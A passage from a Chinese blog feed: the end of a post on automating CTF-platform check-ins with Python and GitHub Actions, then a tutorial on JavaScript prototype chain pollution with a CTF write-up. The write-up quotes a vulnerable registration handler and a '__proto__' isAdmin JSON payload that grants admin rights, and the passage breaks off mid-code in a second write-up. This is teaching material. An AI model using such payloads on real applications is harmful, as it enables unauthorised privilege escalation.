<span class="string">&quot;&quot;</span>:</span><br><span class="line">        log.info(<span class="string">&quot;Bugku: 开始签到&quot;</span>)</span><br><span class="line">        PHPSESSID = Bugku().login(bugku_username, bugku_password)</span><br><span class="line">        Bugku().sign_in(PHPSESSID)</span><br><span class="line">        log.info(<span class="string">&quot;Bugku: 签到操作结束&quot;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        log.info(<span class="string">&quot;Bugku: 未配置账号密码，跳过&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># CTFHub</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;-&quot;</span>*<span class="number">20</span>+<span class="string">&quot;\n&quot;</span>+<span class="string">&quot;-&quot;</span>*<span class="number">20</span>)</span><br><span class="line">    <span class="keyword">if</span> ctfhub_username != <span class="string">&quot;&quot;</span> <span class="keyword">and</span> ctfhub_password != <span class="string">&quot;&quot;</span>:</span><br><span class="line">        log.info(<span class="string">&quot;CTFHub: 开始签到&quot;</span>)</span><br><span class="line">        cookie = CTFHub().login(ctfhub_username, ctfhub_password)</span><br><span class="line">        CTFHub().sign_in(cookie)</span><br><span class="line">        log.info(<span class="string">&quot;CTFHub: 签到操作结束&quot;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        log.info(<span class="string">&quot;CTFHub: 未配置账号密码，跳过&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 攻防世界</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;-&quot;</span>*<span class="number">20</span>+<span class="string">&quot;\n&quot;</span>+<span class="string">&quot;-&quot;</span>*<span class="number">20</span>)</span><br><span class="line">    <span class="keyword">if</span> adworld_username != <span class="string">&quot;&quot;</span> <span class="keyword">and</span> adworld_password != <span class="string">&quot;&quot;</span>:</span><br><span class="line">        log.info(<span class="string">&quot;攻防世界: 开始签到&quot;</span>)</span><br><span class="line">        inf = ADWorld().login(adworld_username, adworld_password)</span><br><span class="line">        ADWorld().sign_in(inf[<span class="number">0</span>], inf[<span class="number">1</span>])</span><br><span class="line">        log.info(<span class="string">&quot;攻防世界: 签到操作结束&quot;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        log.info(<span class="string">&quot;攻防世界: 未配置账号密码，跳过&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 青少年CTF练习平台</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;-&quot;</span>*<span class="number">20</span>+<span class="string">&quot;\n&quot;</span>+<span class="string">&quot;-&quot;</span>*<span class="number">20</span>)</span><br><span class="line">    <span class="keyword">if</span> qsnctf_username != <span class="string">&quot;&quot;</span> <span class="keyword">and</span> qsnctf_password != <span class="string">&quot;&quot;</span>:</span><br><span class="line">        log.info(<span class="string">&quot;青少年CTF练习平台: 开始签到&quot;</span>)</span><br><span class="line">        access = QSNCTF().login(qsnctf_username, qsnctf_password)</span><br><span class="line">        QSNCTF().sign_in(access)</span><br><span class="line">        log.info(<span class="string">&quot;青少年CTF练习平台: 签到操作结束&quot;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        log.info(<span class="string">&quot;青少年CTF练习平台: 未配置账号密码，跳过&quot;</span>)</span><br><span class="line"></span><br><span class="line">    log.info(<span class="string">&quot;所有签到任务执行完毕，退出脚本。&quot;</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>登陆github，创建新的<strong>私人仓库</strong></p><p><img src="/2025/07/19/2025-07-19-CTF%E7%BB%83%E4%B9%A0%E5%B9%B3%E5%8F%B0_%E8%87%AA%E5%8A%A8%E7%AD%BE%E5%88%B0/bf832b6174e81f59374d4a1d3fd89121.png" alt="image-20250720231311741"></p><p><img src="/2025/07/19/2025-07-19-CTF%E7%BB%83%E4%B9%A0%E5%B9%B3%E5%8F%B0_%E8%87%AA%E5%8A%A8%E7%AD%BE%E5%88%B0/1c6f7d7f740ad3cc2c979a8aa776f62a.png" alt="image-20250720231509083"></p><p><img src="/2025/07/19/2025-07-19-CTF%E7%BB%83%E4%B9%A0%E5%B9%B3%E5%8F%B0_%E8%87%AA%E5%8A%A8%E7%AD%BE%E5%88%B0/d84a94c91054c7c10aeea299253ff692.png" alt="image-20250720231618276"></p><p>将文件上传上去</p><p><img src="/2025/07/19/2025-07-19-CTF%E7%BB%83%E4%B9%A0%E5%B9%B3%E5%8F%B0_%E8%87%AA%E5%8A%A8%E7%AD%BE%E5%88%B0/a80a395b6106e1274c88bc09c66971d5.png" alt="image-20250720231654150"></p><p>点击<strong>Action</strong></p><p><img src="/2025/07/19/2025-07-19-CTF%E7%BB%83%E4%B9%A0%E5%B9%B3%E5%8F%B0_%E8%87%AA%E5%8A%A8%E7%AD%BE%E5%88%B0/66f614ca5a0be0a5a2a9cf435407192f.png" alt="image-20250720231908091"></p><p>点击 <strong>set up a workflow yourself</strong></p><p><img src="/2025/07/19/2025-07-19-CTF%E7%BB%83%E4%B9%A0%E5%B9%B3%E5%8F%B0_%E8%87%AA%E5%8A%A8%E7%AD%BE%E5%88%B0/79f5e10b097506bf7365214076985301.png" alt="image-20250720231936502"></p><p>粘贴下面代码，然后提交</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="attr">name:</span> <span class="string">Nightly</span> <span class="string">CTF</span> <span class="string">Sign-in</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 1) 每晚北京时间 20:00（UTC 12:00）定时触发</span></span><br><span class="line"><span class="comment"># 2) 支持手动触发</span></span><br><span class="line"><span class="attr">on:</span></span><br><span class="line">  <span class="attr">schedule:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">cron:</span> <span class="string">&#x27;0 12 * * *&#x27;</span>        <span class="comment"># UTC 12:00 = 北京时间 20:00</span></span><br><span class="line">  <span class="attr">workflow_dispatch:</span></span><br><span class="line"></span><br><span class="line"><span class="attr">jobs:</span></span><br><span class="line">  <span class="attr">run-sign:</span></span><br><span class="line">    <span class="attr">runs-on:</span> <span class="string">ubuntu-latest</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 允许写回仓库</span></span><br><span class="line">    <span class="attr">permissions:</span></span><br><span class="line">      <span class="attr">contents:</span> <span class="string">write</span></span><br><span class="line"></span><br><span class="line">    <span class="attr">steps:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Checkout</span> <span class="string">repository</span></span><br><span class="line">        <span class="attr">uses:</span> <span class="string">actions/checkout@v4</span></span><br><span class="line">        <span class="attr">with:</span></span><br><span class="line">          <span class="attr">token:</span> <span class="string">$&#123;&#123;</span> <span class="string">secrets.GITHUB_TOKEN</span> <span class="string">&#125;&#125;</span>   <span class="comment"># 默认 token 已有写权限</span></span><br><span class="line"></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Set</span> <span class="string">timezone</span> <span class="string">to</span> <span class="string">Asia/Shanghai</span></span><br><span class="line">        <span class="attr">run:</span> <span class="string">sudo</span> <span class="string">timedatectl</span> <span class="string">set-timezone</span> <span class="string">Asia/Shanghai</span></span><br><span class="line"></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Set</span> <span class="string">up</span> <span class="string">Python</span></span><br><span class="line">        <span class="attr">uses:</span> <span class="string">actions/setup-python@v4</span></span><br><span class="line">        <span class="attr">with:</span></span><br><span class="line">          <span class="attr">python-version:</span> <span class="string">&#x27;3.11&#x27;</span></span><br><span class="line"></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Install</span> <span class="string">system</span> <span class="string">deps</span> <span class="string">for</span> <span class="string">ddddocr</span></span><br><span class="line">        <span class="attr">run:</span> <span class="string">|</span></span><br><span class="line"><span class="string">          sudo apt-get update</span></span><br><span class="line"><span class="string">          sudo apt-get install -y libglib2.0-0 libsm6 libxext6 libxrender-dev libgomp1</span></span><br><span class="line"><span class="string"></span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Install</span> <span class="string">Python</span> <span class="string">dependencies</span></span><br><span class="line">        <span class="attr">run:</span> <span class="string">|</span></span><br><span class="line"><span class="string">          python -m pip install --upgrade pip</span></span><br><span class="line"><span class="string">          pip install -r requirements.txt</span></span><br><span class="line"><span class="string"></span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Run</span> <span class="string">main.py</span> <span class="string">with</span> <span class="string">retries</span></span><br><span class="line">        <span class="attr">run:</span> <span class="string">|</span></span><br><span class="line"><span class="string">          attempt=1</span></span><br><span class="line"><span class="string">          while [ $attempt -le 4 ]; do</span></span><br><span class="line"><span class="string">            echo &quot;Running attempt $attempt...&quot;</span></span><br><span class="line"><span class="string">            python main.py</span></span><br><span class="line"><span class="string">            if [ $? -eq 0 ]; then</span></span><br><span class="line"><span class="string">              echo &quot;Script executed successfully on attempt $attempt.&quot;</span></span><br><span class="line"><span class="string">              exit 0</span></span><br><span class="line"><span class="string">            fi</span></span><br><span class="line"><span class="string"></span></span><br><span class="line">            <span class="string">if</span> [ <span class="string">$attempt</span> <span class="string">-eq</span> <span class="number">4</span> ]<span class="string">;</span> <span class="string">then</span></span><br><span class="line">              <span class="string">echo</span> <span class="string">&quot;All 4 attempts failed.&quot;</span></span><br><span class="line">              <span class="string">exit</span> <span class="number">1</span></span><br><span class="line">            <span class="string">fi</span></span><br><span class="line"></span><br><span class="line">            <span class="string">echo</span> <span class="string">&quot;Attempt $attempt failed. Retrying in 15 seconds...&quot;</span></span><br><span class="line">            <span class="string">sleep</span> <span class="number">15</span></span><br><span class="line">            <span class="string">attempt=$((attempt+1))</span></span><br><span class="line">          <span class="string">done</span></span><br><span class="line"></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Commit</span> <span class="string">&amp;</span> <span class="string">push</span> <span class="string">changes</span></span><br><span class="line">        <span class="attr">run:</span> <span class="string">|</span></span><br><span class="line"><span class="string">          git config --local user.email &quot;action@github.com&quot;</span></span><br><span class="line"><span class="string">          git config --local user.name &quot;GitHub Action&quot;</span></span><br><span class="line"><span class="string">          git add .</span></span><br><span class="line"><span class="string">          git commit -m &quot;Auto sign-in result [skip ci]&quot; || exit 0</span></span><br><span class="line"><span class="string">          git push</span></span><br><span class="line"><span class="string"></span></span><br></pre></td></tr></table></figure><p><img src="/2025/07/19/2025-07-19-CTF%E7%BB%83%E4%B9%A0%E5%B9%B3%E5%8F%B0_%E8%87%AA%E5%8A%A8%E7%AD%BE%E5%88%B0/cfec0444a23d679471cea788b3aecbd5.png" alt="image-20250720232640686"></p><p>点击Commmit changes</p><p><img src="/2025/07/19/2025-07-19-CTF%E7%BB%83%E4%B9%A0%E5%B9%B3%E5%8F%B0_%E8%87%AA%E5%8A%A8%E7%AD%BE%E5%88%B0/2738466c9bcff70f2a34bc26be3a4336.png" alt="image-20250720232714258"></p><p>自动签到能手动触发和每天晚上8点触发，先手动触发看一下是否正常</p><p>点击Action切换到下面页面，然后点击Nightly</p><p><img src="/2025/07/19/2025-07-19-CTF%E7%BB%83%E4%B9%A0%E5%B9%B3%E5%8F%B0_%E8%87%AA%E5%8A%A8%E7%AD%BE%E5%88%B0/72bfee8c40ae727752c1a656e31180e6.png" alt="image-20250720233514617"></p><p>点击<strong>Run workflow</strong>，然后刷新下界面，等待一段时间</p><p><img src="/2025/07/19/2025-07-19-CTF%E7%BB%83%E4%B9%A0%E5%B9%B3%E5%8F%B0_%E8%87%AA%E5%8A%A8%E7%AD%BE%E5%88%B0/6f63ad77d5581d2b64d4db7377548940.png" alt="image-20250720233720590"></p><p>亮起绿色代表成功。脚本每天晚上8点都会自动运行进行签到，不用问了</p><p><img src="/2025/07/19/2025-07-19-CTF%E7%BB%83%E4%B9%A0%E5%B9%B3%E5%8F%B0_%E8%87%AA%E5%8A%A8%E7%AD%BE%E5%88%B0/5a502062204a18766eefbacb0b0462ff.png" alt="image-20250720233951374"></p><p>日志在log\log.txt中查看</p><p><img src="/2025/07/19/2025-07-19-CTF%E7%BB%83%E4%B9%A0%E5%B9%B3%E5%8F%B0_%E8%87%AA%E5%8A%A8%E7%AD%BE%E5%88%B0/360b6a33705ed0c62109b0900ea22964.png" alt="image-20250720234505478"></p>]]>
    </content>
    <id>https://blog.ziworld.top/2025/07/19/2025-07-19-CTF%E7%BB%83%E4%B9%A0%E5%B9%B3%E5%8F%B0_%E8%87%AA%E5%8A%A8%E7%AD%BE%E5%88%B0/</id>
    <link href="https://blog.ziworld.top/2025/07/19/2025-07-19-CTF%E7%BB%83%E4%B9%A0%E5%B9%B3%E5%8F%B0_%E8%87%AA%E5%8A%A8%E7%AD%BE%E5%88%B0/"/>
    <published>2025-07-19T14:07:00.000Z</published>
    <summary>
      <![CDATA[<p>支持靶场：</p>
<ul>
<li>NSSCTF</li>
<li>Bugku</li>
<li>CTFHub</li>
<li>攻防世界</li>
<li>青少年CTF练习平台</li>
</ul>
<p><a]]>
    </summary>
    <title>CTF练习平台 自动签到</title>
    <updated>2026-03-09T09:40:18.937Z</updated>
  </entry>
  <entry>
    <author>
      <name>ziworld</name>
    </author>
    <category term="CTF" scheme="https://blog.ziworld.top/categories/CTF/"/>
    <category term="练习" scheme="https://blog.ziworld.top/tags/%E7%BB%83%E4%B9%A0/"/>
    <category term="CTF" scheme="https://blog.ziworld.top/tags/CTF/"/>
    <category term="原型链污染" scheme="https://blog.ziworld.top/tags/%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/"/>
    <content>
      <![CDATA[<h1 id="原型链"><a href="#原型链" class="headerlink" title="原型链"></a>原型链</h1><p>JavaScript 原型链是实现继承的一种方式，每个对象都有一个内部属性 <code>[[Prototype]]</code>（在代码中可通过 <code>__proto__</code> 访问），它指向该对象的原型对象。当访问一个对象的属性或方法时，JavaScript 首先会在该对象本身查找，如果找不到，就会沿着原型链向上查找，直到找到该属性或方法，或者到达原型链的末尾（<code>Object.prototype</code>）。</p><p>传统的面向对象（例如java），采用类的形式，以类为模版创建对象</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 定义 Person 类</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Person</span> &#123;</span><br><span class="line">    </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 创建 Person 对象</span></span><br><span class="line"><span class="type">Person</span> <span class="variable">person</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Person</span>();</span><br></pre></td></tr></table></figure><p>JavaScript 是基于原型链实现继承和封装</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">Person</span>(<span class="params"></span>)&#123;&#125;;</span><br><span class="line"><span class="keyword">let</span> p=<span class="keyword">new</span> <span class="title class_">Person</span>();</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="创建对象的方法"><a href="#创建对象的方法" class="headerlink" title="创建对象的方法"></a>创建对象的方法</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 第一种方式：字面量</span></span><br><span class="line"><span class="keyword">var</span> o1 = &#123;<span class="attr">name</span>: <span class="string">&#x27;o1&#x27;</span>&#125;</span><br><span class="line"><span class="keyword">var</span> o2 = <span class="keyword">new</span> <span class="title class_">Object</span>(&#123;<span class="attr">name</span>: <span class="string">&#x27;o2&#x27;</span>&#125;)</span><br><span class="line"><span class="comment">// 第二种方式：构造函数</span></span><br><span class="line"><span class="keyword">var</span> M = <span class="keyword">function</span> (<span class="params">name</span>) &#123; <span class="variable language_">this</span>.<span class="property">name</span> = name; &#125;</span><br><span class="line"><span class="keyword">var</span> o3 = <span class="keyword">new</span> <span class="title function_">M</span>(<span class="string">&#x27;o3&#x27;</span>)</span><br><span class="line"><span class="comment">// 第三种方式：Object.create</span></span><br><span class="line"><span class="keyword">var</span> p = &#123;<span class="attr">name</span>: <span class="string">&#x27;p&#x27;</span>&#125;</span><br><span class="line"><span class="keyword">var</span> o4 = <span class="title class_">Object</span>.<span class="title function_">create</span>(p)</span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(o1)　　　　</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(o2)</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(o3)</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(o4)</span><br></pre></td></tr></table></figure><p><img src="/2025/07/14/2025-7-14-js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/image-20250720011602105.png" alt="image-20250720011602105"></p><p>来张图</p><p><img src="/2025/07/14/2025-7-14-js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/image-20250720000229771.png" alt="image-20250720000229771"></p><p>有点晕_(¦3」∠)_，举个例子</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> M = <span class="keyword">function</span> (<span class="params">name</span>) &#123; <span class="variable language_">this</span>.<span class="property">name</span> = name; &#125;</span><br><span class="line"><span class="keyword">var</span> o3 = <span class="keyword">new</span> <span class="title function_">M</span>(<span class="string">&#x27;o3&#x27;</span>)</span><br></pre></td></tr></table></figure><ul><li>实例就是对象，在本例中o3就是实例，M就是构造函数。</li><li>实例通过new一个构造函数生成的。</li><li>从上图中可以知道，实例的<code>__protpo__</code>指向的是原型对象。</li><li>实例的构造函数的prototype也是指向的原型对象。 </li><li>原型对象的construor指向的是构造函数。</li></ul><p><img src="/2025/07/14/2025-7-14-js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/image-20250720012436234.png" alt="image-20250720012436234"></p><h2 id="原型链的应用"><a href="#原型链的应用" class="headerlink" title="原型链的应用"></a>原型链的应用</h2><p>通过一个构造函数创建出来的多个实例，如果都要添加一个方法，给每个实例去添加并不是一个明智的选择。这时就该用上原型了。</p><p>在实例的原型上添加一个方法，这个原型的所有实例便都有了这个方法。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> M = <span class="keyword">function</span> (<span class="params">name</span>) &#123; <span class="variable language_">this</span>.<span class="property">name</span> = name; &#125;</span><br><span class="line"><span class="keyword">var</span> o3 = <span class="keyword">new</span> <span class="title function_">M</span>(<span class="string">&#x27;o3&#x27;</span>)</span><br><span class="line"><span class="keyword">var</span> o5 = <span class="keyword">new</span> <span class="title function_">M</span>(<span class="string">&#x27;o5&#x27;</span>)</span><br><span class="line"></span><br><span class="line">o3.<span class="property">__proto__</span>.<span class="property">say</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;hello &#x27;</span> + <span class="variable language_">this</span>.<span class="property">name</span>);</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">o3.<span class="title function_">say</span>() </span><br><span class="line">o5.<span class="title function_">say</span>() </span><br></pre></td></tr></table></figure><p><img src="/2025/07/14/2025-7-14-js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/image-20250720013642138.png" alt="image-20250720013642138"></p><h2 id="原型链污染"><a href="#原型链污染" class="headerlink" title="原型链污染"></a>原型链污染</h2><p>举个简单的污染的例子</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> a = &#123;number : <span class="number">1</span>&#125;</span><br><span class="line"><span class="keyword">var</span> b = &#123;number : <span class="number">2</span>&#125;</span><br><span class="line">a</span><br><span class="line">b</span><br><span class="line">b.<span class="property">__proto__</span>.<span class="property">number</span>=<span class="number">3</span> </span><br><span class="line">b</span><br><span class="line"><span class="keyword">var</span> c= &#123;&#125;</span><br><span class="line">c.<span class="property">number</span></span><br></pre></td></tr></table></figure><p><img src="/2025/07/14/2025-7-14-js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/image-20250720014908341.png" alt="image-20250720014908341"></p><blockquote><p>当访问一个对象的属性或方法时，JavaScript 首先会在该对象本身查找，如果找不到，就会沿着原型链向上查找，直到找到该属性或方法，或者到达原型链的末尾</p></blockquote><p>调用<code>b.number</code>时，它的具体调用过程是如下所示的</p><p>1、在b对象中寻找number属性</p><p>2、当在b对象中没有找到时，它会在b.<code>__proto__</code>中寻找number属性 </p><p>3、如果仍未找到，此时会去<code>b.__proto__.__proto__</code>中寻找number属性</p><p>一层一层向上递归寻找，直到找到或是递归到<code>null</code>为止，因为b本身就有number属性，直接就是2</p><p><code>c.number</code>也就来到了 <code>c.__proto__</code>中寻找<code>number</code>属性，我们刚刚进行了原型链污染，它的<code>c.__proto__</code>其实就是<code>Object.protoype</code>，而我们进行污染的<code>b.__proto__</code>也是<code>Object.prototype</code>，所以此时它调用的<code>number</code>就是我们刚刚污染的属性，所以这也就是为什么<code>c .number=3</code></p><h1 id="实战"><a href="#实战" class="headerlink" title="实战"></a>实战</h1><h2 id="cat-wife"><a href="#cat-wife" class="headerlink" title="cat-wife"></a>cat-wife</h2><p>题目环境：<a href="https://adworld.xctf.org.cn/challenges/list">攻防世界</a></p><p>打开题目，是一个登录页面，后端采用的是<strong>Node.js</strong></p><p><img src="/2025/07/14/2025-7-14-js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/image-20250719221952879.png" alt="image-20250719221952879"></p><p>点击注册，勾上<strong>is admin</strong>，需要邀请码。（想要拿到flag，必须为admin）</p><p><img src="/2025/07/14/2025-7-14-js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/image-20250719222152569.png" alt="image-20250719222152569"></p><p>注册界面的源码如下</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">app.<span class="title function_">post</span>(<span class="string">&#x27;/register&#x27;</span>, <span class="function">(<span class="params">req, res</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">let</span> user = <span class="title class_">JSON</span>.<span class="title function_">parse</span>(req.<span class="property">body</span>)</span><br><span class="line">    <span class="keyword">if</span> (!user.<span class="property">username</span> || !user.<span class="property">password</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> res.<span class="title function_">json</span>(&#123; <span class="attr">msg</span>: <span class="string">&#x27;empty username or password&#x27;</span>, <span class="attr">err</span>: <span class="literal">true</span> &#125;)</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (users.<span class="title function_">filter</span>(<span class="function"><span class="params">u</span> =&gt;</span> u.<span class="property">username</span> == user.<span class="property">username</span>).<span class="property">length</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> res.<span class="title function_">json</span>(&#123; <span class="attr">msg</span>: <span class="string">&#x27;username already exists&#x27;</span>, <span class="attr">err</span>: <span class="literal">true</span> &#125;)</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (user.<span class="property">isAdmin</span> &amp;&amp; user.<span class="property">inviteCode</span> != <span class="variable constant_">INVITE_CODE</span>) &#123;</span><br><span class="line">        user.<span class="property">isAdmin</span> = <span class="literal">false</span></span><br><span class="line">        <span class="keyword">return</span> res.<span class="title function_">json</span>(&#123; <span class="attr">msg</span>: <span class="string">&#x27;invalid invite code&#x27;</span>, <span class="attr">err</span>: <span class="literal">true</span> &#125;)</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">let</span> newUser = <span class="title class_">Object</span>.<span class="title function_">assign</span>(&#123;&#125;, baseUser, user)   <span class="comment">//这里</span></span><br><span class="line">    users.<span class="title function_">push</span>(newUser)</span><br><span class="line">    res.<span class="title function_">json</span>(&#123; <span class="attr">msg</span>: <span class="string">&#x27;user created successfully&#x27;</span>, <span class="attr">err</span>: <span class="literal">false</span> &#125;)</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p>注意这部分</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> user = <span class="title class_">JSON</span>.<span class="title function_">parse</span>(req.<span class="property">body</span>)  </span><br><span class="line"><span class="comment">// ...</span></span><br><span class="line"><span class="keyword">let</span> newUser = <span class="title class_">Object</span>.<span class="title function_">assign</span>(&#123;&#125;, baseUser, user)  <span class="comment">// 将用户输入合并到新对象</span></span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><figcaption><span>newUser </span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">随便输个邀请码提交，抓包</span><br><span class="line"></span><br><span class="line">![image-20250719223119296](/2025/07/14/2025-7-14-js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/image-20250719223119296.png)</span><br><span class="line"></span><br><span class="line">```js</span><br><span class="line">payload：</span><br><span class="line">&#123;&quot;username&quot;:&quot;e&quot;,&quot;password&quot;:&quot;e&quot;,&quot;__proto__&quot;:&#123;&quot;isAdmin&quot;:true&#125;&#125;</span><br></pre></td></tr></table></figure><p>改一下包</p><p><img src="/2025/07/14/2025-7-14-js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/image-20250719230033482.png" alt="image-20250719230033482"></p><p>然后登陆就拿到了flag</p><p><img src="/2025/07/14/2025-7-14-js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/image-20250719230048923.png" alt="image-20250719230048923"></p><h2 id="LitCTF-2025-多重宇宙日记"><a href="#LitCTF-2025-多重宇宙日记" class="headerlink" title="[LitCTF 2025]多重宇宙日记"></a>[LitCTF 2025]多重宇宙日记</h2><p>环境：[<a href="https://www.nssctf.cn/problem/6801">LitCTF 2025]多重宇宙日记 | NSSCTF</a></p><p><img src="/2025/07/14/2025-7-14-js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/image-20250719232151463.png" alt="image-20250719232151463"></p><p>首先注册然后登陆</p><p><img src="/2025/07/14/2025-7-14-js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/image-20250719232320790.png" alt="image-20250719232320790"></p><p>查看源码</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span 